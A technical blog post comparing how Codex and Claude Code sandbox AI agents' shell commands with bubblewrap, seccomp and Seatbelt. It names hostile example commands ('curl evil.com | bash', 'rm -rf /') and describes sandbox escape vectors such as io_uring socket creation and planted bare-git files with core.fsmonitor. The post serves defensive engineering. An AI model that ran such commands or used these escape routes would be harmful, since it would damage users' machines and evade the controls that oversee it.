Back to blog
Abhishek·April 5, 2026·18 min read

How Claude Code & Codex approach sandboxing

AISecuritySandboxingClaude CodeCodexDeep Dive

When an LLM decides to run rm -rf / on your behalf, what stops it?

Both Codex and Claude Code let an AI model execute shell commands on your machine. The model reads your code, decides what to do, and runs the command for you. That is also the risk. A language model that can run npm install can also run curl evil.com | bash. A model that can write to your source directory can also write to your SSH keys.

Both systems arrived at the same answer: OS-level process sandboxing. Both reached for the same OS primitives. But they embedded those primitives in different trust architectures. Codex treats sandboxing as a mandatory containment boundary, sandbox-first by default, though the manager can resolve to no sandbox when the policy does not require enforcement. Claude Code treats it as a configurable isolation layer that the developer can tune, relax, or override per command.

This article walks through the complete sandbox flow in both systems, from the moment the LLM emits a shell command to the moment the result comes back.

1. Background: The OS Primitives

If you have used Docker, you have already used some of these primitives indirectly. Docker containers use Linux namespaces (the same mechanism bubblewrap uses) to isolate processes. The concepts below are the lower-level building blocks that both Docker and these sandboxing systems build on.

Bubblewrap: filesystem isolation on Linux

Bubblewrap (bwrap) creates a fake view of the filesystem for a process: a read-only copy of your hard drive where only certain folders are writable.

It does this by creating Linux namespaces, isolated environments for different system resources. A mount namespace gives the process its own filesystem view. A PID namespace hides other processes. A network namespace isolates the process from the host network stack. A user namespace prevents privilege escalation.

Flags that both systems use:

  • --ro-bind / / mounts the entire host filesystem as read-only inside the sandbox.
  • --bind re-mounts a specific path as writable on top of the read-only base.
  • --unshare-net creates a fresh network namespace, isolating the process from the host network.
  • --tmpfs mounts an empty temporary filesystem, hiding whatever was at that path.
  • --dev /dev and --proc /proc provide minimal device nodes and process information.

Both Codex and Claude Code invoke the same bwrap binary. Codex builds its argument list in Rust. Claude Code builds it in TypeScript.

Seccomp/BPF: syscall filtering on Linux

If bubblewrap controls what a process can see, seccomp controls what a process can do. Seccomp (Secure Computing) installs a BPF (Berkeley Packet Filter) program in the kernel that intercepts every system call the process makes. If the syscall matches a blocked rule, the kernel returns EPERM before the operation executes. A firewall for system calls instead of network ports.

Both systems block the same critical syscalls:

  • io_uring_setup, io_uring_enter, io_uring_register: Linux's io_uring subsystem can perform operations (including creating sockets) in kernel context without going through the socket() syscall. A process could bypass seccomp's socket-blocking rules entirely. Both teams independently identified this evasion vector and block all three io_uring syscalls.
  • socket() with conditional filtering: Rather than blocking all sockets, both systems use BPF argument inspection to filter by address family, but the direction depends on the network mode. Codex in restricted mode allows only AF_UNIX (local IPC) while blocking AF_INET/AF_INET6 (network). In proxy-routed mode, Codex reverses this: allows AF_INET/AF_INET6 (so traffic can reach the local TCP bridge to the proxy) while blocking AF_UNIX (preventing bypass of the proxy). Claude Code's seccomp filter follows the proxy-routed pattern: blocks AF_UNIX and allows AF_INET/AF_INET6, routing all traffic through its socat TCP bridge.

Before installing a seccomp filter, the process must call prctl(PR_SET_NO_NEW_PRIVS) to ensure it cannot regain privileges through setuid binaries. Codex compiles its BPF program via the seccompiler crate in Rust. Claude Code uses a precompiled C binary (apply-seccomp) built with libseccomp.

Seatbelt: kernel-level sandboxing on macOS

macOS has its own sandboxing system called Seatbelt. It works at the kernel level through the TrustedBSD mandatory access control framework: once a policy is applied to a process, every file open, network connection, process spawn, and IPC operation is checked against the policy before the kernel allows it. There is no userspace hook to intercept or bypass. The policy language is SBPL (Sandbox Profile Language), a DSL with Scheme-like syntax where you declare what a process is allowed to do and the kernel denies everything else. You invoke sandbox-exec -p to run a command under a given profile.

Apple deprecated sandbox-exec in macOS 10.15, but the underlying kernel enforcement is still active and widely used. Chromium, VS Code, and both systems in this article rely on it in production.

Every Seatbelt policy in both systems starts the same way:

(version 1)
(deny default)

This means: deny everything by default. Then the policy adds explicit allowances:

(allow file-read* (subpath "/usr"))            ; read system libraries
(allow file-write* (subpath "/workspace"))      ; write to workspace
(allow network-outbound (remote ip "localhost:3128"))  ; proxy only

Both systems use the -D KEY=VALUE parameterization pattern to inject paths into the SBPL template, avoiding path injection vulnerabilities. Codex assembles its SBPL profiles in Rust. Claude Code assembles them in TypeScript.

2. The Two Architectures at a Glance

Dimension Codex Claude Code
Default posture Sandbox-first, always evaluated, but may resolve to no sandbox Opt-in, sandbox is configurable
Policy granularity 4-variant Rust enum (SandboxPolicy) 5-layer JSON settings merge
Scope Session/turn, all commands share policy Per-command, each command is evaluated
When active Always, when policy requires it When enabled + not excluded
On block Escalation protocol → user approval dialog Violation logged → surfaced in REPL
Platform support macOS, Linux, Windows macOS, Linux

The analogy for web developers: Codex is like a mandatory Content-Security-Policy header where the server enforces it and the client cannot opt out. Claude Code is like a configurable CSP that the developer can relax per request when they know what they are doing.

flowchart LR
  subgraph Codex["Codex"]
    C1["LLM emits tool call"] --> C2["SandboxPolicy\nenum evaluated"]
    C2 --> C3["should_require_\nplatform_sandbox()?"]
    C3 --> C4["SandboxManager\n::transform()"]
    C4 --> C5["Rewritten argv\nexecuted"]
    C5 --> C6{"Blocked?"}
    C6 -->|yes| C7["EscalateRequest\n→ user approval"]
    C6 -->|no| C8["Result returned"]
    C7 --> C8
  end

  subgraph CC["Claude Code"]
    Q1["LLM emits tool call"] --> Q2["shouldUseSandbox()"]
    Q2 -->|yes| Q3["SandboxManager\n.wrapWithSandbox()"]
    Q2 -->|no| Q4["Execute directly"]
    Q3 --> Q5["Wrapped command\nexecuted"]
    Q5 --> Q6["cleanupAfterCommand()"]
    Q4 --> Q7["Result returned"]
    Q6 --> Q7
  end

3. End-to-End Walkthrough: Codex

Stage 1: Policy selection

Every Codex session starts with a SandboxPolicy, a Rust enum with four variants that describes what the user intends to permit:

  • DangerFullAccess: No restrictions. The command runs unsandboxed. This variant exists so the type system forces every code path to handle the "no sandbox" case explicitly.
  • ReadOnly: Read-only filesystem access. Carries an access field (full-disk or restricted to specific roots) and a network_access boolean.
  • WorkspaceWrite: The workspace is writable, plus optionally additional writable_roots. Also carries read-only access settings, network access, and temp directory exclusion flags.
  • ExternalSandbox: The process is already inside an external sandbox (like a container). Codex skips its own sandboxing but still enforces network policy.

Filesystem and network access are modeled as independent dimensions (FileSystemSandboxPolicy and NetworkSandboxPolicy) so the system can express "writable filesystem with no network" or "read-only filesystem with proxy-routed network" without a combinatorial explosion.

pub enum SandboxPolicy {
    DangerFullAccess,
    ReadOnly {
        access: ReadOnlyAccess,
        network_access: bool,
    },
    ExternalSandbox {
        network_access: NetworkAccess,
    },
    WorkspaceWrite {
        writable_roots: Vec<AbsolutePathBuf>,
        read_only_access: ReadOnlyAccess,
        network_access: bool,
        exclude_tmpdir_env_var: bool,
        exclude_slash_tmp: bool,
    },
}

The Rust compiler enforces exhaustive matching. Every code path that touches sandbox policy must handle all four variants.

Stage 2: Backend selection

SandboxManager::select_initial() decides whether a platform sandbox is needed and which backend to use. It evaluates policy semantics through should_require_platform_sandbox():

  1. Managed network requirements active → always sandbox.
  2. Network restricted and filesystem is not ExternalSandbox → sandbox.
  3. Filesystem Restricted with less than full disk write → sandbox.
  4. Filesystem Unrestricted or ExternalSandbox → no sandbox needed.

The caller can override with SandboxablePreference: Auto (use the decision logic), Require (always sandbox), or Forbid (never sandbox). Once the manager decides a sandbox is needed, get_platform_sandbox() selects the backend: MacosSeatbelt on macOS, LinuxSeccomp on Linux, WindowsRestrictedToken on Windows.

Stage 3: Command transformation

SandboxManager::transform() rewrites the command's argv into a sandboxed invocation:

  • macOS: The original command becomes arguments to /usr/bin/sandbox-exec -p .
  • Linux: The original command becomes trailing arguments to the codex-linux-sandbox helper binary, which orchestrates bubblewrap and seccomp.
  • Windows: The command passes through mostly unchanged. Windows enforcement happens at the process token level via CreateRestrictedToken.

Stage 4: OS enforcement

On Linux, enforcement uses a three-stage pipeline:

  1. Outer stage: The helper binary parses the policy, prepares the proxy routing bridge if needed, and invokes bubblewrap.
  2. Bubblewrap stage: Creates the filesystem namespace with layered mounts. Read-only root, then device nodes, then writable roots, then protected subpath carve-outs.
  3. Inner stage: Re-enters the helper binary inside the sandbox. Sets PR_SET_NO_NEW_PRIVS, installs the seccomp BPF filter (blocking ptrace, io_uring_*, and conditional socket filtering), activates proxy routing, and execvp() into the final command.

On macOS, the base Seatbelt policy starts with (deny default) and then adds allowances for process execution, filesystem access, and network proxy ports.

Stage 5: Escalation on block

When a sandboxed command hits a blocked operation, the runtime intercepts the blocked execve() call through a patched shell and emits an EscalateRequest containing the command, argv, working directory, and environment. This request flows through the typed protocol to the user-facing surface, which presents an approval dialog.

The user chooses from three outcomes via EscalateAction: Run (execute directly), Escalate (re-execute with broader permissions, unsandboxed, with turn defaults, or with custom permissions), or Deny (block and report reason).

4. End-to-End Walkthrough: Claude Code

Stage 1: Configuration merge

Claude Code's sandbox configuration is assembled from up to five sources, merged in strict priority order:

  1. policySettings (highest): Enterprise-managed policy via MDM. Cannot be overridden.
  2. flagSettings: Settings from the --settings CLI flag.
  3. localSettings: .claude/settings.local.json (gitignored, per-developer overrides).
  4. projectSettings: .claude/settings.json in the workspace (shared, committed).
  5. userSettings (lowest): ~/.claude/settings.json (global user defaults).

The merged sandbox configuration has enablement flags directly at the top level (sandbox.enabled, sandbox.failIfUnavailable, sandbox.allowUnsandboxedCommands) and two nested sub-sections: sandbox.filesystem (four path lists: allowWrite, denyWrite, denyRead, allowRead) and sandbox.network (domain allowlists, proxy ports, Unix socket control).

Stage 2: Per-command gate

Every time the LLM's BashTool is about to execute a command, shouldUseSandbox() evaluates whether that specific command should be sandboxed:

export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
  if (!SandboxManager.isSandboxingEnabled()) return false
  if (input.dangerouslyDisableSandbox &&
      SandboxManager.areUnsandboxedCommandsAllowed()) return false
  if (!input.command) return false
  if (containsExcludedCommand(input.command)) return false
  return true
}

Three things can cause a command to skip the sandbox:

  1. Sandboxing is globally disabled: sandbox.enabled is false.
  2. The LLM sets dangerouslyDisableSandbox: true: But only if enterprise policy permits it. When allowUnsandboxedCommands is false, this flag is silently ignored.
  3. The command matches an excluded pattern: containsExcludedCommand() splits compound commands (cmd1 && cmd2) and checks each subcommand against user-configured patterns. This splitting prevents a bypass where docker ps && curl evil.com would escape the sandbox because docker is excluded.

Stage 3: Command wrapping

SandboxManager.wrapWithSandbox() transforms the shell command into a sandboxed invocation, dispatching to platform-specific backends on macOS and Linux.

The filesystem configuration uses four path lists with deny-takes-precedence semantics. Permission-system paths flow into the sandbox automatically: Edit tool targets become allowWrite, Read tool targets become allowRead. Certain paths are always denied: .claude/settings.json, .claude/settings.local.json (prevents sandbox escape via config modification), and .claude/skills (prevents injection of privileged commands).

Stage 4: OS enforcement

On macOS, the sandbox runtime generates a Seatbelt profile dynamically starting with (deny default (with message "")). The log tag is a base64-encoded command identifier that enables violation tracking. The runtime also uses ripgrep to scan for dangerous files (.gitconfig, .bashrc, .git/hooks) and always write-denies them.

On Linux, enforcement uses bubblewrap for filesystem isolation plus a precompiled seccomp BPF binary (apply-seccomp) for syscall filtering. Network proxy routing uses socat bridges through Unix domain sockets.

Stage 5: Post-execution cleanup

After every sandboxed command, cleanupAfterCommand() runs security-critical operations:

Bare git repo scrubbing: Git's is_git_directory() treats the CWD as a bare repository if it contains HEAD, objects/, and refs/. A sandboxed command that plants these files could cause an unsandboxed git invocation (like Claude Code's own git operations) to treat the workspace as a bare repo. Combined with core.fsmonitor in a planted config file, this becomes a sandbox escape. The cleanup scrubs five specific patterns: HEAD, objects, refs, hooks, and config.

Bubblewrap ghost file removal on Linux and violation extraction from macOS log stream and stderr tags. All violations feed into the SandboxViolationStore, an in-memory ring buffer (100 entries) with a reactive subscription API.

5. Where They Use the Same Primitives

Both teams independently identified similar OS-level tools as building blocks for AI agent sandboxing, and both identified the same evasion vectors to defend against. The Linux containment models differ materially: Codex combines bubblewrap with shell-escalation plumbing, while Claude Code adds proxy-mediated domain filtering and optional seccomp loading.

Seatbelt SBPL generation

Both systems start from (deny default) and build up an allowlist. Both use -D KEY=VALUE parameterization to inject paths safely. Both reference Chrome's sandbox policy as inspiration.

Bubblewrap mount ordering

Both systems mount the host root as the base filesystem, then layer restrictions on top. Codex uses --bind / / (read-write root) and overlays read-only restrictions. Claude Code uses --ro-bind / / (read-only root) when write restrictions are configured, or --bind / / when they are not. Both use --unshare-net for network isolation.

Seccomp io_uring blocking

Both systems block the same three syscalls (io_uring_setup, io_uring_enter, io_uring_register) for the same reason. Linux 5.19 added IORING_OP_SOCKET, which creates sockets in kernel context bypassing seccomp. Both teams independently identified this:

Codex (Rust):

deny_syscall(&mut rules, libc::SYS_ptrace);
deny_syscall(&mut rules, libc::SYS_io_uring_setup);
deny_syscall(&mut rules, libc::SYS_io_uring_enter);
deny_syscall(&mut rules, libc::SYS_io_uring_register);

Claude Code (C):

/* Block io_uring entirely. IORING_OP_SOCKET (Linux 5.19+) creates sockets
 * in kernel context without going through the socket() syscall, bypassing
 * the rule above. */
int io_uring_calls[] = {
    SCMP_SYS(io_uring_setup),
    SCMP_SYS(io_uring_enter),
    SCMP_SYS(io_uring_register),
};

Network proxy bridge

Both systems use Unix domain socket bridges to route sandboxed network traffic through a managed proxy. On the host side, a bridge process listens on a Unix socket and forwards to the actual proxy TCP port. Inside the sandbox, a reverse bridge forwards to the Unix socket. Codex implements this in Rust. Claude Code uses socat processes.

flowchart TB
  subgraph shared["Shared OS Primitives"]
    bwrap["bubblewrap\n(filesystem namespaces)"]
    seccomp["seccomp BPF\n(syscall filtering)"]
    proxy["Unix socket bridge\n(proxy routing)"]
  end

  subgraph codex_impl["Codex Implementation"]
    ch["Rust helper binary\n(codex-linux-sandbox)"]
    ch --> bwrap
    ch --> seccomp
    ch --> proxy
  end

  subgraph cc_impl["Claude Code Implementation"]
    sr["sandbox-runtime\n(Node.js + TypeScript)"]
    as["apply-seccomp\n(compiled C binary)"]
    sc["socat bridges\n(shell processes)"]
    sr --> bwrap
    as --> seccomp
    sc --> proxy
  end

6. Where They Diverge

Mandatory vs. opt-in

Codex's sandbox is sandbox-first: should_require_platform_sandbox() is always evaluated, no per-command opt-out. The manager can resolve to SandboxType::None when policy semantics do not require enforcement.

Claude Code's sandbox is configurable at every level: per project (sandbox.enabled), per command (dangerouslyDisableSandbox), and per command pattern (excludedCommands).

Tradeoff: Codex optimizes for guaranteed containment. Claude Code optimizes for developer control.

Session-level vs. per-command scope

Codex selects the sandbox type once per session or turn. All commands share the same restrictions.

Claude Code evaluates shouldUseSandbox() for every BashTool invocation. Each command can have different sandbox behavior.

Tradeoff: Codex optimizes for consistency. Claude Code optimizes for granularity.

Escalation vs. transparency

When Codex's sandbox blocks a command, the runtime creates an EscalateRequest and routes it through a structured approval protocol. The user sees a decision point.

When Claude Code's sandbox blocks a command, the violation is logged, stored in SandboxViolationStore, and surfaced in the REPL. The developer sees exactly what was blocked.

Tradeoff: Codex optimizes for a closed trust loop. Claude Code optimizes for visibility.

Network control mechanism

Codex enforces at the kernel level through seccomp BPF socket filtering. Claude Code enforces at the application level through a domain-based proxy allowlist.

Tradeoff: Codex is harder to bypass. Claude Code allows richer domain-level decisions.

Post-execution hardening

Codex does not perform post-execution cleanup. Containment is assumed sufficient. Claude Code runs cleanupAfterCommand() after every sandboxed command, scrubbing bare repo markers and extracting violations.

Tradeoff: Codex trusts in containment. Claude Code adds defense in depth.

Dimension Codex Claude Code
When active Always (policy-driven) Opt-in (settings-driven)
Scope Session/turn Per-command
On block Escalation protocol Violation transparency
Policy format Rust enum (4 variants) JSON (5-layer merge)
Network control Kernel-level syscall filter App-level domain allowlist
Post-execution None Bare repo scrub + ghost cleanup

7. Enterprise and Lockdown

Claude Code: explicit enterprise controls

Because Claude Code's sandbox is opt-in by default, enterprise deployments need explicit lockdown:

  • allowManagedDomainsOnly: Only enterprise-configured domains are respected.
  • allowManagedReadPathsOnly: Same for filesystem read paths.
  • allowUnsandboxedCommands: false: Silently ignores the dangerouslyDisableSandbox flag.
  • failIfUnavailable: Refuse to execute if sandbox cannot be engaged.
  • enabledPlatforms: Restrict sandbox to specific platforms.

The policySettings layer is the highest-priority merge layer. Nothing below it can override it.

Codex: implicit enterprise model

Codex does not need lockdown flags because its default is already strict. The enterprise controls are structural: SandboxablePreference::Require forces sandboxing, and the Windows backend rejects permissive policies. Execution policies via requirements.toml and MDM/cloud-backed ConfigRequirements provide per-command allow/deny rules.

8. Why They Sandbox Differently

Three forces explain the divergence.

Product context. Codex is a multi-surface runtime designed to be embedded in different clients (CLI, IDE extensions, desktop app, cloud backends). Mandatory sandboxing protects all surfaces uniformly. Claude Code is an integrated developer tool where the user directly controls the environment. Configurability matches the single-surface model.

Trust philosophy. Codex places trust in the runtime's approval protocol. Claude Code places trust in the developer's ability to observe and adjust.

Both systems achieve the same security goal: preventing an LLM from executing arbitrary operations on the developer's machine. They use similar OS-level primitives. They differ in where they place the control surface. Codex places it inside the runtime, enforced by typed contracts and an escalation protocol. Claude Code places it in front of the developer, configured through layered settings and made visible through violation tracking.

Get free execution credits

Run your AI agents in secure, isolated microVMs. $50 in free credits to start.

Get started free
We use cookies
We use cookies to ensure you get the best experience on our website. For more information on how we use cookies, please see our cookie policy.

By clicking Accept, you agree to our use of cookies.

Learn more